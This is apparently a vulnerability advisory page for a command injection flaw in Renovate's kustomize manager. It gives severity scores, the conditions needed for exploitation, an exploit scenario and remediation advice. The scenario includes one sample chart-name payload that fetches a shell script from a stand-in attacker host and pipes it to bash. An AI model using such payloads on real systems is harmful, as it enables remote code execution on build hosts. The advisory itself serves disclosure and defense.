EUVD-2026-62470
GHSA-5gfg-jpw3-fppq
Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Payload delivered via network (git push and remote Helm repo); PR:H for required repository write access; S:C because arbitrary commands execute on the distinct Renovate host machine.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
Renovate versions from 39.218.0 before 40.33.0 contain an arbitrary command injection vulnerability in the kustomize manager where user-provided chart names are appended to helm pull commands without proper sanitization. Attackers with repository write access can craft malicious kustomization.yaml files with specially crafted chart names to execute arbitrary commands on the Renovate host machine.
AnalysisAI
Command injection in Renovate's kustomize manager (versions 39.218.0 through 40.33.0) allows repository contributors with write access to execute arbitrary shell commands on the Renovate host machine by embedding crafted chart names in kustomization.yaml files that bypass shell escaping in helm pull invocations. A detailed proof-of-concept demonstrating process termination via kill 1 against a Docker-hosted Renovate runner was published with GHSA-xv56-3wq5-9997, confirming exploitability - though no confirmed active exploitation (CISA KEV) has been observed. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Three specific conditions must be simultaneously satisfied: first, the attacker must have git write access to at least one repository that the target Renovate instance is configured to scan - read-only access is insufficient; second, the Renovate configuration for that repository must include `kustomizeInflateHelmCharts` in the `postUpdateOptions` array of `renovate.json5` - this is not enabled by default and repositories without it are not exposed to this code path; third, the attacker must be able to serve a Helm repository (accessible over HTTPS) whose `index.yaml` returns an entry whose chart name contains the injected payload, matching the chart referenced in the crafted `kustomization.yaml`. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 8.4 with vector AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H reflects high impact bounded by meaningful prerequisites. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with write access to a repository scanned by Renovate pushes a `kustomization.yaml` containing a chart name with embedded shell metacharacters (e.g., `example || curl attacker.com/shell.sh | bash`) and updates `renovate.json5` to enable `kustomizeInflateHelmCharts`, then hosts a fake Helm repository whose `index.yaml` returns the same malicious chart name. When Renovate next scans the repository - on schedule or triggered - it passes the unsanitized chart name to `helm pull --untar`, causing the injected commands to execute with Renovate's runtime privileges on the host machine. … |
| Remediation | Upgrade Renovate to version 40.33.0 or later, which applies proper shell quoting via `shlex.quote()` to the `depName` argument in `helmRepositoryArgs`, eliminating the injection vector. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, confirm whether your organization runs Renovate versions 39.218.0-40.33.0 and verify whether the kustomizeInflateHelmCharts postUpdateOption is active in any Renovate configuration. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Command injection in Renovate's hermit manager (versions 32.135.0 through 40.33.0) allows an attacker with repository wr
Command injection in Renovate's helmv3 manager (versions 31.51.0 through 40.32.x) allows repository contributors with wr
Command injection in Renovate's npm manager (versions 35.63.0 through 40.33.0) allows attackers with repository write ac
Command injection in Renovate's gleam manager (versions 39.53.0 through 40.33.0 exclusive) allows attackers with reposit
Command injection in Renovate's Gradle Wrapper update mechanism allows arbitrary code execution inside the Renovate runt
Remote code execution in Renovate's bazel-module and bazelisk managers exposes self-hosted instances running versions 43
Environment variable exposure in Renovate (versions 42.68.1 through 42.96.3 and 43.0.0 through 43.4.4) leaks the full pr
Same weakness CWE-77 – Command Injection
View allSame technique Command Injection
View allVendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today